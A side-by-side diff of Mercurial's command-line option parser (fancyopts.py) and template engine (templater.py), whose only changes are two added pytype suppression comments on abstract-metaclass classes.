113 113 >>> get([b'x', b'--cwd=foo', b'y', b'-R', b'bar', b'--debugger'], gnu=True)
114 114 ([('--cwd', 'foo'), ('-R', 'bar'), ('--debugger', '')], ['x', 'y'])
115 115 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=True)
116 116 ([('--cwd', 'foo')], ['--unknown', '--debugger'])
117 117
118 118 restricted parsing rules (early options must come first):
119 119
120 120 >>> get([b'--cwd', b'foo', b'-Rbar', b'x', b'-q', b'y'], gnu=False)
121 121 ([('--cwd', 'foo'), ('-R', 'bar')], ['x', '-q', 'y'])
122 122 >>> get([b'--cwd=foo', b'x', b'y', b'-R', b'bar', b'--debugger'], gnu=False)
123 123 ([('--cwd', 'foo')], ['x', 'y', '-R', 'bar', '--debugger'])
124 124 >>> get([b'--unknown', b'--cwd=foo', b'--', '--debugger'], gnu=False)
125 125 ([], ['--unknown', '--cwd=foo', '--', '--debugger'])
126 126
127 127 stripping early options (without loosing '--'):
128 128
129 129 >>> get([b'x', b'-Rbar', b'--', '--debugger'], gnu=True, keepsep=True)[1]
130 130 ['x', '--', '--debugger']
131 131
132 132 last argument:
133 133
134 134 >>> get([b'--cwd'])
135 135 ([], ['--cwd'])
136 136 >>> get([b'--cwd=foo'])
137 137 ([('--cwd', 'foo')], [])
138 138 >>> get([b'-R'])
139 139 ([], ['-R'])
140 140 >>> get([b'-Rbar'])
141 141 ([('-R', 'bar')], [])
142 142 >>> get([b'-q'])
143 143 ([('-q', '')], [])
144 144 >>> get([b'-q', b'--'])
145 145 ([('-q', '')], [])
146 146
147 147 '--' may be a value:
148 148
149 149 >>> get([b'-R', b'--', b'x'])
150 150 ([('-R', '--')], ['x'])
151 151 >>> get([b'--cwd', b'--', b'x'])
152 152 ([('--cwd', '--')], ['x'])
153 153
154 154 value passed to bool options:
155 155
156 156 >>> get([b'--debugger=foo', b'x'])
157 157 ([], ['--debugger=foo', 'x'])
158 158 >>> get([b'-qfoo', b'x'])
159 159 ([], ['-qfoo', 'x'])
160 160
161 161 short option isn't separated with '=':
162 162
163 163 >>> get([b'-R=bar'])
164 164 ([('-R', '=bar')], [])
165 165
166 166 ':' may be in shortlist, but shouldn't be taken as an option letter:
167 167
168 168 >>> get([b'-:', b'y'])
169 169 ([], ['-:', 'y'])
170 170
171 171 '-' is a valid non-option argument:
172 172
173 173 >>> get([b'-', b'y'])
174 174 ([], ['-', 'y'])
175 175 """
176 176 parsedopts = []
177 177 parsedargs = []
178 178 pos = 0
179 179 while pos < len(args):
180 180 arg = args[pos]
181 181 if arg == b'--':
182 182 pos += not keepsep
183 183 break
184 184 flag, hasval, val, takeval = _earlyoptarg(arg, shortlist, namelist)
185 185 if not hasval and takeval and pos + 1 >= len(args):
186 186 # missing last argument
187 187 break
188 188 if not flag or hasval and not takeval:
189 189 # non-option argument or -b/--bool=INVALID_VALUE
190 190 if gnu:
191 191 parsedargs.append(arg)
192 192 pos += 1
193 193 else:
194 194 break
195 195 elif hasval == takeval:
196 196 # -b/--bool or -s/--str=VALUE
197 197 parsedopts.append((flag, val))
198 198 pos += 1
199 199 else:
200 200 # -s/--str VALUE
201 201 parsedopts.append((flag, args[pos + 1]))
202 202 pos += 2
203 203
204 204 parsedargs.extend(args[pos:])
205 205 return parsedopts, parsedargs
206 206
207 207
208 class customopt(object):
208 class customopt(object): # pytype: disable=ignored-metaclass
209 209 """Manage defaults and mutations for any type of opt."""
210 210
211 211 __metaclass__ = abc.ABCMeta
212 212
213 213 def __init__(self, defaultvalue):
214 214 self._defaultvalue = defaultvalue
215 215
216 216 def _isboolopt(self):
217 217 return False
218 218
219 219 def getdefaultvalue(self):
220 220 """Returns the default value for this opt.
221 221
222 222 Subclasses should override this to return a new value if the value type
223 223 is mutable."""
224 224 return self._defaultvalue
225 225
226 226 @abc.abstractmethod
227 227 def newstate(self, oldstate, newparam, abort):
228 228 """Adds newparam to oldstate and returns the new state.
229 229
230 230 On failure, abort can be called with a string error message."""
231 231
232 232
233 233 class _simpleopt(customopt):
234 234 def _isboolopt(self):
235 235 return isinstance(self._defaultvalue, (bool, type(None)))
236 236
237 237 def newstate(self, oldstate, newparam, abort):
238 238 return newparam
239 239
240 240
241 241 class _callableopt(customopt):
242 242 def __init__(self, callablefn):
243 243 self.callablefn = callablefn
244 244 super(_callableopt, self).__init__(None)
245 245
246 246 def newstate(self, oldstate, newparam, abort):
247 247 return self.callablefn(newparam)
248 248
249 249
250 250 class _listopt(customopt):
251 251 def getdefaultvalue(self):
252 252 return self._defaultvalue[:]
253 253
254 254 def newstate(self, oldstate, newparam, abort):
255 255 oldstate.append(newparam)
256 256 return oldstate
257 257
258 258
259 259 class _intopt(customopt):
260 260 def newstate(self, oldstate, newparam, abort):
261 261 try:
262 262 return int(newparam)
263 263 except ValueError:
264 264 abort(_(b'expected int'))
265 265
266 266
267 267 def _defaultopt(default):
268 268 """Returns a default opt implementation, given a default value."""
269 269
270 270 if isinstance(default, customopt):
271 271 return default
272 272 elif callable(default):
273 273 return _callableopt(default)
274 274 elif isinstance(default, list):
275 275 return _listopt(default[:])
276 276 elif type(default) is type(1):
277 277 return _intopt(default)
278 278 else:
279 279 return _simpleopt(default)
280 280
281 281
282 282 def fancyopts(args, options, state, gnu=False, early=False, optaliases=None):
283 283 """
284 284 read args, parse options, and store options in state
285 285
286 286 each option is a tuple of:
287 287
288 288 short option or ''
289 289 long option
290 290 default value
291 291 description
292 292 option value label(optional)
293 293
294 294 option types include:
295 295
296 296 boolean or none - option sets variable in state to true
297 297 string - parameter string is stored in state
298 298 list - parameter string is added to a list
299 299 integer - parameter strings is stored as int
300 300 function - call function with parameter
301 301 customopt - subclass of 'customopt'
302 302
303 303 optaliases is a mapping from a canonical option name to a list of
304 304 additional long options. This exists for preserving backward compatibility
305 305 of early options. If we want to use it extensively, please consider moving
306 306 the functionality to the options table (e.g separate long options by '|'.)
307 307
308 308 non-option args are returned
309 309 """
310 310 if optaliases is None:
311 311 optaliases = {}
312 312 namelist = []
313 313 shortlist = b''
314 314 argmap = {}
315 315 defmap = {}
316 316 negations = {}
317 317 alllong = set(o[1] for o in options)
318 318
319 319 for option in options:
320 320 if len(option) == 5:
321 321 short, name, default, comment, dummy = option
322 322 else:
323 323 short, name, default, comment = option
324 324 # convert opts to getopt format
325 325 onames = [name]
326 326 onames.extend(optaliases.get(name, []))
327 327 name = name.replace(b'-', b'_')
328 328
329 329 argmap[b'-' + short] = name
330 330 for n in onames:
331 331 argmap[b'--' + n] = name
332 332 defmap[name] = _defaultopt(default)
333 333
334 334 # copy defaults to state
335 335 state[name] = defmap[name].getdefaultvalue()
336 336
337 337 # does it take a parameter?
338 338 if not defmap[name]._isboolopt():
339 339 if short:
340 340 short += b':'
341 341 onames = [n + b'=' for n in onames]
342 342 elif name not in nevernegate:
343 343 for n in onames:
344 344 if n.startswith(b'no-'):
345 345 insert = n[3:]
346 346 else:
347 347 insert = b'no-' + n
348 348 # backout (as a practical example) has both --commit and
349 349 # --no-commit options, so we don't want to allow the
350 350 # negations of those flags.
351 351 if insert not in alllong:
352 352 assert (b'--' + n) not in negations
353 353 negations[b'--' + insert] = b'--' + n
354 354 namelist.append(insert)
355 355 if short:
356 356 shortlist += short
357 357 if name:
358 358 namelist.extend(onames)
359 359
360 360 # parse arguments
361 361 if early:
362 362 parse = functools.partial(earlygetopt, gnu=gnu)
363 363 elif gnu:
364 364 parse = pycompat.gnugetoptb
365 365 else:
366 366 parse = pycompat.getoptb
367 367 opts, args = parse(args, shortlist, namelist)
368 368
369 369 # transfer result to state
370 370 for opt, val in opts:
371 371 boolval = True
372 372 negation = negations.get(opt, False)
373 373 if negation:
374 374 opt = negation
375 375 boolval = False
376 376 name = argmap[opt]
377 377 obj = defmap[name]
378 378 if obj._isboolopt():
379 379 state[name] = boolval
380 380 else:
381 381
382 382 def abort(s):
383 383 raise error.Abort(
384 384 _(b'invalid value %r for option %s, %s')
385 385 % (pycompat.maybebytestr(val), opt, s)
386 386 )
387 387
388 388 state[name] = defmap[name].newstate(state[name], val, abort)
389 389
390 390 # return unparsed args
391 391 return args
@@ -1,1094 +1,1094 b''
1 1 # templater.py - template expansion for output
2 2 #
3 3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 """Slightly complicated template engine for commands and hgweb
9 9
10 10 This module provides low-level interface to the template engine. See the
11 11 formatter and cmdutil modules if you are looking for high-level functions
12 12 such as ``cmdutil.rendertemplate(ctx, tmpl)``.
13 13
14 14 Internal Data Types
15 15 -------------------
16 16
17 17 Template keywords and functions take a dictionary of current symbols and
18 18 resources (a "mapping") and return result. Inputs and outputs must be one
19 19 of the following data types:
20 20
21 21 bytes
22 22 a byte string, which is generally a human-readable text in local encoding.
23 23
24 24 generator
25 25 a lazily-evaluated byte string, which is a possibly nested generator of
26 26 values of any printable types, and will be folded by ``stringify()``
27 27 or ``flatten()``.
28 28
29 29 None
30 30 sometimes represents an empty value, which can be stringified to ''.
31 31
32 32 True, False, int, float
33 33 can be stringified as such.
34 34
35 35 wrappedbytes, wrappedvalue
36 36 a wrapper for the above printable types.
37 37
38 38 date
39 39 represents a (unixtime, offset) tuple.
40 40
41 41 hybrid
42 42 represents a list/dict of printable values, which can also be converted
43 43 to mappings by % operator.
44 44
45 45 hybriditem
46 46 represents a scalar printable value, also supports % operator.
47 47
48 48 mappinggenerator, mappinglist
49 49 represents mappings (i.e. a list of dicts), which may have default
50 50 output format.
51 51
52 52 mappingdict
53 53 represents a single mapping (i.e. a dict), which may have default output
54 54 format.
55 55
56 56 mappingnone
57 57 represents None of Optional[mappable], which will be mapped to an empty
58 58 string by % operation.
59 59
60 60 mappedgenerator
61 61 a lazily-evaluated list of byte strings, which is e.g. a result of %
62 62 operation.
63 63 """
64 64
65 65 from __future__ import absolute_import, print_function
66 66
67 67 import abc
68 68 import os
69 69
70 70 from .i18n import _
71 71 from .pycompat import getattr
72 72 from . import (
73 73 config,
74 74 encoding,
75 75 error,
76 76 parser,
77 77 pycompat,
78 78 templatefilters,
79 79 templatefuncs,
80 80 templateutil,
81 81 util,
82 82 )
83 83 from .utils import stringutil
84 84
85 85 # template parsing
86 86
87 87 elements = {
88 88 # token-type: binding-strength, primary, prefix, infix, suffix
89 89 b"(": (20, None, (b"group", 1, b")"), (b"func", 1, b")"), None),
90 90 b".": (18, None, None, (b".", 18), None),
91 91 b"%": (15, None, None, (b"%", 15), None),
92 92 b"|": (15, None, None, (b"|", 15), None),
93 93 b"*": (5, None, None, (b"*", 5), None),
94 94 b"/": (5, None, None, (b"/", 5), None),
95 95 b"+": (4, None, None, (b"+", 4), None),
96 96 b"-": (4, None, (b"negate", 19), (b"-", 4), None),
97 97 b"=": (3, None, None, (b"keyvalue", 3), None),
98 98 b",": (2, None, None, (b"list", 2), None),
99 99 b")": (0, None, None, None, None),
100 100 b"integer": (0, b"integer", None, None, None),
101 101 b"symbol": (0, b"symbol", None, None, None),
102 102 b"string": (0, b"string", None, None, None),
103 103 b"template": (0, b"template", None, None, None),
104 104 b"end": (0, None, None, None, None),
105 105 }
106 106
107 107
108 108 def tokenize(program, start, end, term=None):
109 109 """Parse a template expression into a stream of tokens, which must end
110 110 with term if specified"""
111 111 pos = start
112 112 program = pycompat.bytestr(program)
113 113 while pos < end:
114 114 c = program[pos]
115 115 if c.isspace(): # skip inter-token whitespace
116 116 pass
117 117 elif c in b"(=,).%|+-*/": # handle simple operators
118 118 yield (c, None, pos)
119 119 elif c in b'"\'': # handle quoted templates
120 120 s = pos + 1
121 121 data, pos = _parsetemplate(program, s, end, c)
122 122 yield (b'template', data, s)
123 123 pos -= 1
124 124 elif c == b'r' and program[pos : pos + 2] in (b"r'", b'r"'):
125 125 # handle quoted strings
126 126 c = program[pos + 1]
127 127 s = pos = pos + 2
128 128 while pos < end: # find closing quote
129 129 d = program[pos]
130 130 if d == b'\\': # skip over escaped characters
131 131 pos += 2
132 132 continue
133 133 if d == c:
134 134 yield (b'string', program[s:pos], s)
135 135 break
136 136 pos += 1
137 137 else:
138 138 raise error.ParseError(_(b"unterminated string"), s)
139 139 elif c.isdigit():
140 140 s = pos
141 141 while pos < end:
142 142 d = program[pos]
143 143 if not d.isdigit():
144 144 break
145 145 pos += 1
146 146 yield (b'integer', program[s:pos], s)
147 147 pos -= 1
148 148 elif (
149 149 c == b'\\'
150 150 and program[pos : pos + 2] in (br"\'", br'\"')
151 151 or c == b'r'
152 152 and program[pos : pos + 3] in (br"r\'", br'r\"')
153 153 ):
154 154 # handle escaped quoted strings for compatibility with 2.9.2-3.4,
155 155 # where some of nested templates were preprocessed as strings and
156 156 # then compiled. therefore, \"...\" was allowed. (issue4733)
157 157 #
158 158 # processing flow of _evalifliteral() at 5ab28a2e9962:
159 159 # outer template string -> stringify() -> compiletemplate()
160 160 # ------------------------ ------------ ------------------
161 161 # {f("\\\\ {g(\"\\\"\")}"} \\ {g("\"")} [r'\\', {g("\"")}]
162 162 # ~~~~~~~~
163 163 # escaped quoted string
164 164 if c == b'r':
165 165 pos += 1
166 166 token = b'string'
167 167 else:
168 168 token = b'template'
169 169 quote = program[pos : pos + 2]
170 170 s = pos = pos + 2
171 171 while pos < end: # find closing escaped quote
172 172 if program.startswith(b'\\\\\\', pos, end):
173 173 pos += 4 # skip over double escaped characters
174 174 continue
175 175 if program.startswith(quote, pos, end):
176 176 # interpret as if it were a part of an outer string
177 177 data = parser.unescapestr(program[s:pos])
178 178 if token == b'template':
179 179 data = _parsetemplate(data, 0, len(data))[0]
180 180 yield (token, data, s)
181 181 pos += 1
182 182 break
183 183 pos += 1
184 184 else:
185 185 raise error.ParseError(_(b"unterminated string"), s)
186 186 elif c.isalnum() or c in b'_':
187 187 s = pos
188 188 pos += 1
189 189 while pos < end: # find end of symbol
190 190 d = program[pos]
191 191 if not (d.isalnum() or d == b"_"):
192 192 break
193 193 pos += 1
194 194 sym = program[s:pos]
195 195 yield (b'symbol', sym, s)
196 196 pos -= 1
197 197 elif c == term:
198 198 yield (b'end', None, pos)
199 199 return
200 200 else:
201 201 raise error.ParseError(_(b"syntax error"), pos)
202 202 pos += 1
203 203 if term:
204 204 raise error.ParseError(_(b"unterminated template expansion"), start)
205 205 yield (b'end', None, pos)
206 206
207 207
208 208 def _parsetemplate(tmpl, start, stop, quote=b''):
209 209 r"""
210 210 >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
211 211 ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
212 212 >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
213 213 ([('string', 'foo'), ('symbol', 'bar')], 9)
214 214 >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
215 215 ([('string', 'foo')], 4)
216 216 >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
217 217 ([('string', 'foo"'), ('string', 'bar')], 9)
218 218 >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
219 219 ([('string', 'foo\\')], 6)
220 220 """
221 221 parsed = []
222 222 for typ, val, pos in _scantemplate(tmpl, start, stop, quote):
223 223 if typ == b'string':
224 224 parsed.append((typ, val))
225 225 elif typ == b'template':
226 226 parsed.append(val)
227 227 elif typ == b'end':
228 228 return parsed, pos
229 229 else:
230 230 raise error.ProgrammingError(b'unexpected type: %s' % typ)
231 231 raise error.ProgrammingError(b'unterminated scanning of template')
232 232
233 233
234 234 def scantemplate(tmpl, raw=False):
235 235 r"""Scan (type, start, end) positions of outermost elements in template
236 236
237 237 If raw=True, a backslash is not taken as an escape character just like
238 238 r'' string in Python. Note that this is different from r'' literal in
239 239 template in that no template fragment can appear in r'', e.g. r'{foo}'
240 240 is a literal '{foo}', but ('{foo}', raw=True) is a template expression
241 241 'foo'.
242 242
243 243 >>> list(scantemplate(b'foo{bar}"baz'))
244 244 [('string', 0, 3), ('template', 3, 8), ('string', 8, 12)]
245 245 >>> list(scantemplate(b'outer{"inner"}outer'))
246 246 [('string', 0, 5), ('template', 5, 14), ('string', 14, 19)]
247 247 >>> list(scantemplate(b'foo\\{escaped}'))
248 248 [('string', 0, 5), ('string', 5, 13)]
249 249 >>> list(scantemplate(b'foo\\{escaped}', raw=True))
250 250 [('string', 0, 4), ('template', 4, 13)]
251 251 """
252 252 last = None
253 253 for typ, val, pos in _scantemplate(tmpl, 0, len(tmpl), raw=raw):
254 254 if last:
255 255 yield last + (pos,)
256 256 if typ == b'end':
257 257 return
258 258 else:
259 259 last = (typ, pos)
260 260 raise error.ProgrammingError(b'unterminated scanning of template')
261 261
262 262
263 263 def _scantemplate(tmpl, start, stop, quote=b'', raw=False):
264 264 """Parse template string into chunks of strings and template expressions"""
265 265 sepchars = b'{' + quote
266 266 unescape = [parser.unescapestr, pycompat.identity][raw]
267 267 pos = start
268 268 p = parser.parser(elements)
269 269 try:
270 270 while pos < stop:
271 271 n = min(
272 272 (tmpl.find(c, pos, stop) for c in pycompat.bytestr(sepchars)),
273 273 key=lambda n: (n < 0, n),
274 274 )
275 275 if n < 0:
276 276 yield (b'string', unescape(tmpl[pos:stop]), pos)
277 277 pos = stop
278 278 break
279 279 c = tmpl[n : n + 1]
280 280 bs = 0 # count leading backslashes
281 281 if not raw:
282 282 bs = (n - pos) - len(tmpl[pos:n].rstrip(b'\\'))
283 283 if bs % 2 == 1:
284 284 # escaped (e.g. '\{', '\\\{', but not '\\{')
285 285 yield (b'string', unescape(tmpl[pos : n - 1]) + c, pos)
286 286 pos = n + 1
287 287 continue
288 288 if n > pos:
289 289 yield (b'string', unescape(tmpl[pos:n]), pos)
290 290 if c == quote:
291 291 yield (b'end', None, n + 1)
292 292 return
293 293
294 294 parseres, pos = p.parse(tokenize(tmpl, n + 1, stop, b'}'))
295 295 if not tmpl.startswith(b'}', pos):
296 296 raise error.ParseError(_(b"invalid token"), pos)
297 297 yield (b'template', parseres, n)
298 298 pos += 1
299 299
300 300 if quote:
301 301 raise error.ParseError(_(b"unterminated string"), start)
302 302 except error.ParseError as inst:
303 303 _addparseerrorhint(inst, tmpl)
304 304 raise
305 305 yield (b'end', None, pos)
306 306
307 307
308 308 def _addparseerrorhint(inst, tmpl):
309 309 if len(inst.args) <= 1:
310 310 return # no location
311 311 loc = inst.args[1]
312 312 # Offset the caret location by the number of newlines before the
313 313 # location of the error, since we will replace one-char newlines
314 314 # with the two-char literal r'\n'.
315 315 offset = tmpl[:loc].count(b'\n')
316 316 tmpl = tmpl.replace(b'\n', br'\n')
317 317 # We want the caret to point to the place in the template that
318 318 # failed to parse, but in a hint we get a open paren at the
319 319 # start. Therefore, we print "loc + 1" spaces (instead of "loc")
320 320 # to line up the caret with the location of the error.
321 321 inst.hint = tmpl + b'\n' + b' ' * (loc + 1 + offset) + b'^ ' + _(b'here')
322 322
323 323
324 324 def _unnesttemplatelist(tree):
325 325 """Expand list of templates to node tuple
326 326
327 327 >>> def f(tree):
328 328 ... print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
329 329 >>> f((b'template', []))
330 330 (string '')
331 331 >>> f((b'template', [(b'string', b'foo')]))
332 332 (string 'foo')
333 333 >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
334 334 (template
335 335 (string 'foo')
336 336 (symbol 'rev'))
337 337 >>> f((b'template', [(b'symbol', b'rev')])) # template(rev) -> str
338 338 (template
339 339 (symbol 'rev'))
340 340 >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
341 341 (string 'foo')
342 342 """
343 343 if not isinstance(tree, tuple):
344 344 return tree
345 345 op = tree[0]
346 346 if op != b'template':
347 347 return (op,) + tuple(_unnesttemplatelist(x) for x in tree[1:])
348 348
349 349 assert len(tree) == 2
350 350 xs = tuple(_unnesttemplatelist(x) for x in tree[1])
351 351 if not xs:
352 352 return (b'string', b'') # empty template ""
353 353 elif len(xs) == 1 and xs[0][0] == b'string':
354 354 return xs[0] # fast path for string with no template fragment "x"
355 355 else:
356 356 return (op,) + xs
357 357
358 358
359 359 def parse(tmpl):
360 360 """Parse template string into tree"""
361 361 parsed, pos = _parsetemplate(tmpl, 0, len(tmpl))
362 362 assert pos == len(tmpl), b'unquoted template should be consumed'
363 363 return _unnesttemplatelist((b'template', parsed))
364 364
365 365
366 366 def parseexpr(expr):
367 367 """Parse a template expression into tree
368 368
369 369 >>> parseexpr(b'"foo"')
370 370 ('string', 'foo')
371 371 >>> parseexpr(b'foo(bar)')
372 372 ('func', ('symbol', 'foo'), ('symbol', 'bar'))
373 373 >>> parseexpr(b'foo(')
374 374 Traceback (most recent call last):
375 375 ...
376 376 ParseError: ('not a prefix: end', 4)
377 377 >>> parseexpr(b'"foo" "bar"')
378 378 Traceback (most recent call last):
379 379 ...
380 380 ParseError: ('invalid token', 7)
381 381 """
382 382 try:
383 383 return _parseexpr(expr)
384 384 except error.ParseError as inst:
385 385 _addparseerrorhint(inst, expr)
386 386 raise
387 387
388 388
389 389 def _parseexpr(expr):
390 390 p = parser.parser(elements)
391 391 tree, pos = p.parse(tokenize(expr, 0, len(expr)))
392 392 if pos != len(expr):
393 393 raise error.ParseError(_(b'invalid token'), pos)
394 394 return _unnesttemplatelist(tree)
395 395
396 396
397 397 def prettyformat(tree):
398 398 return parser.prettyformat(tree, (b'integer', b'string', b'symbol'))
399 399
400 400
401 401 def compileexp(exp, context, curmethods):
402 402 """Compile parsed template tree to (func, data) pair"""
403 403 if not exp:
404 404 raise error.ParseError(_(b"missing argument"))
405 405 t = exp[0]
406 406 return curmethods[t](exp, context)
407 407
408 408
409 409 # template evaluation
410 410
411 411
412 412 def getsymbol(exp):
413 413 if exp[0] == b'symbol':
414 414 return exp[1]
415 415 raise error.ParseError(_(b"expected a symbol, got '%s'") % exp[0])
416 416
417 417
418 418 def getlist(x):
419 419 if not x:
420 420 return []
421 421 if x[0] == b'list':
422 422 return getlist(x[1]) + [x[2]]
423 423 return [x]
424 424
425 425
426 426 def gettemplate(exp, context):
427 427 """Compile given template tree or load named template from map file;
428 428 returns (func, data) pair"""
429 429 if exp[0] in (b'template', b'string'):
430 430 return compileexp(exp, context, methods)
431 431 if exp[0] == b'symbol':
432 432 # unlike runsymbol(), here 'symbol' is always taken as template name
433 433 # even if it exists in mapping. this allows us to override mapping
434 434 # by web templates, e.g. 'changelogtag' is redefined in map file.
435 435 return context._load(exp[1])
436 436 raise error.ParseError(_(b"expected template specifier"))
437 437
438 438
439 439 def _runrecursivesymbol(context, mapping, key):
440 440 raise error.Abort(_(b"recursive reference '%s' in template") % key)
441 441
442 442
443 443 def buildtemplate(exp, context):
444 444 ctmpl = [compileexp(e, context, methods) for e in exp[1:]]
445 445 return (templateutil.runtemplate, ctmpl)
446 446
447 447
448 448 def buildfilter(exp, context):
449 449 n = getsymbol(exp[2])
450 450 if n in context._filters:
451 451 filt = context._filters[n]
452 452 arg = compileexp(exp[1], context, methods)
453 453 return (templateutil.runfilter, (arg, filt))
454 454 if n in context._funcs:
455 455 f = context._funcs[n]
456 456 args = _buildfuncargs(exp[1], context, methods, n, f._argspec)
457 457 return (f, args)
458 458 raise error.ParseError(_(b"unknown function '%s'") % n)
459 459
460 460
461 461 def buildmap(exp, context):
462 462 darg = compileexp(exp[1], context, methods)
463 463 targ = gettemplate(exp[2], context)
464 464 return (templateutil.runmap, (darg, targ))
465 465
466 466
467 467 def buildmember(exp, context):
468 468 darg = compileexp(exp[1], context, methods)
469 469 memb = getsymbol(exp[2])
470 470 return (templateutil.runmember, (darg, memb))
471 471
472 472
473 473 def buildnegate(exp, context):
474 474 arg = compileexp(exp[1], context, exprmethods)
475 475 return (templateutil.runnegate, arg)
476 476
477 477
478 478 def buildarithmetic(exp, context, func):
479 479 left = compileexp(exp[1], context, exprmethods)
480 480 right = compileexp(exp[2], context, exprmethods)
481 481 return (templateutil.runarithmetic, (func, left, right))
482 482
483 483
484 484 def buildfunc(exp, context):
485 485 n = getsymbol(exp[1])
486 486 if n in context._funcs:
487 487 f = context._funcs[n]
488 488 args = _buildfuncargs(exp[2], context, exprmethods, n, f._argspec)
489 489 return (f, args)
490 490 if n in context._filters:
491 491 args = _buildfuncargs(exp[2], context, exprmethods, n, argspec=None)
492 492 if len(args) != 1:
493 493 raise error.ParseError(_(b"filter %s expects one argument") % n)
494 494 f = context._filters[n]
495 495 return (templateutil.runfilter, (args[0], f))
496 496 raise error.ParseError(_(b"unknown function '%s'") % n)
497 497
498 498
499 499 def _buildfuncargs(exp, context, curmethods, funcname, argspec):
500 500 """Compile parsed tree of function arguments into list or dict of
501 501 (func, data) pairs
502 502
503 503 >>> context = engine(lambda t: (templateutil.runsymbol, t))
504 504 >>> def fargs(expr, argspec):
505 505 ... x = _parseexpr(expr)
506 506 ... n = getsymbol(x[1])
507 507 ... return _buildfuncargs(x[2], context, exprmethods, n, argspec)
508 508 >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
509 509 ['l', 'k']
510 510 >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
511 511 >>> list(args.keys()), list(args[b'opts'].keys())
512 512 (['opts'], ['opts', 'k'])
513 513 """
514 514
515 515 def compiledict(xs):
516 516 return util.sortdict(
517 517 (k, compileexp(x, context, curmethods))
518 518 for k, x in pycompat.iteritems(xs)
519 519 )
520 520
521 521 def compilelist(xs):
522 522 return [compileexp(x, context, curmethods) for x in xs]
523 523
524 524 if not argspec:
525 525 # filter or function with no argspec: return list of positional args
526 526 return compilelist(getlist(exp))
527 527
528 528 # function with argspec: return dict of named args
529 529 _poskeys, varkey, _keys, optkey = argspec = parser.splitargspec(argspec)
530 530 treeargs = parser.buildargsdict(
531 531 getlist(exp),
532 532 funcname,
533 533 argspec,
534 534 keyvaluenode=b'keyvalue',
535 535 keynode=b'symbol',
536 536 )
537 537 compargs = util.sortdict()
538 538 if varkey:
539 539 compargs[varkey] = compilelist(treeargs.pop(varkey))
540 540 if optkey:
541 541 compargs[optkey] = compiledict(treeargs.pop(optkey))
542 542 compargs.update(compiledict(treeargs))
543 543 return compargs
544 544
545 545
546 546 def buildkeyvaluepair(exp, content):
547 547 raise error.ParseError(_(b"can't use a key-value pair in this context"))
548 548
549 549
550 550 def buildlist(exp, context):
551 551 raise error.ParseError(
552 552 _(b"can't use a list in this context"),
553 553 hint=_(b'check place of comma and parens'),
554 554 )
555 555
556 556
557 557 # methods to interpret function arguments or inner expressions (e.g. {_(x)})
558 558 exprmethods = {
559 559 b"integer": lambda e, c: (templateutil.runinteger, e[1]),
560 560 b"string": lambda e, c: (templateutil.runstring, e[1]),
561 561 b"symbol": lambda e, c: (templateutil.runsymbol, e[1]),
562 562 b"template": buildtemplate,
563 563 b"group": lambda e, c: compileexp(e[1], c, exprmethods),
564 564 b".": buildmember,
565 565 b"|": buildfilter,
566 566 b"%": buildmap,
567 567 b"func": buildfunc,
568 568 b"keyvalue": buildkeyvaluepair,
569 569 b"list": buildlist,
570 570 b"+": lambda e, c: buildarithmetic(e, c, lambda a, b: a + b),
571 571 b"-": lambda e, c: buildarithmetic(e, c, lambda a, b: a - b),
572 572 b"negate": buildnegate,
573 573 b"*": lambda e, c: buildarithmetic(e, c, lambda a, b: a * b),
574 574 b"/": lambda e, c: buildarithmetic(e, c, lambda a, b: a // b),
575 575 }
576 576
577 577 # methods to interpret top-level template (e.g. {x}, {x|_}, {x % "y"})
578 578 methods = exprmethods.copy()
579 579 methods[b"integer"] = exprmethods[b"symbol"] # '{1}' as variable
580 580
581 581
582 582 class _aliasrules(parser.basealiasrules):
583 583 """Parsing and expansion rule set of template aliases"""
584 584
585 585 _section = _(b'template alias')
586 586 _parse = staticmethod(_parseexpr)
587 587
588 588 @staticmethod
589 589 def _trygetfunc(tree):
590 590 """Return (name, args) if tree is func(...) or ...|filter; otherwise
591 591 None"""
592 592 if tree[0] == b'func' and tree[1][0] == b'symbol':
593 593 return tree[1][1], getlist(tree[2])
594 594 if tree[0] == b'|' and tree[2][0] == b'symbol':
595 595 return tree[2][1], [tree[1]]
596 596
597 597
598 598 def expandaliases(tree, aliases):
599 599 """Return new tree of aliases are expanded"""
600 600 aliasmap = _aliasrules.buildmap(aliases)
601 601 return _aliasrules.expand(aliasmap, tree)
602 602
603 603
604 604 # template engine
605 605
606 606
607 607 def unquotestring(s):
608 608 '''unwrap quotes if any; otherwise returns unmodified string'''
609 609 if len(s) < 2 or s[0] not in b"'\"" or s[0] != s[-1]:
610 610 return s
611 611 return s[1:-1]
612 612
613 613
614 class resourcemapper(object):
614 class resourcemapper(object): # pytype: disable=ignored-metaclass
615 615 """Mapper of internal template resources"""
616 616
617 617 __metaclass__ = abc.ABCMeta
618 618
619 619 @abc.abstractmethod
620 620 def availablekeys(self, mapping):
621 621 """Return a set of available resource keys based on the given mapping"""
622 622
623 623 @abc.abstractmethod
624 624 def knownkeys(self):
625 625 """Return a set of supported resource keys"""
626 626
627 627 @abc.abstractmethod
628 628 def lookup(self, mapping, key):
629 629 """Return a resource for the key if available; otherwise None"""
630 630
631 631 @abc.abstractmethod
632 632 def populatemap(self, context, origmapping, newmapping):
633 633 """Return a dict of additional mapping items which should be paired
634 634 with the given new mapping"""
635 635
636 636
637 637 class nullresourcemapper(resourcemapper):
638 638 def availablekeys(self, mapping):
639 639 return set()
640 640
641 641 def knownkeys(self):
642 642 return set()
643 643
644 644 def lookup(self, mapping, key):
645 645 return None
646 646
647 647 def populatemap(self, context, origmapping, newmapping):
648 648 return {}
649 649
650 650
651 651 class engine(object):
652 652 '''template expansion engine.
653 653
654 654 template expansion works like this. a map file contains key=value
655 655 pairs. if value is quoted, it is treated as string. otherwise, it
656 656 is treated as name of template file.
657 657
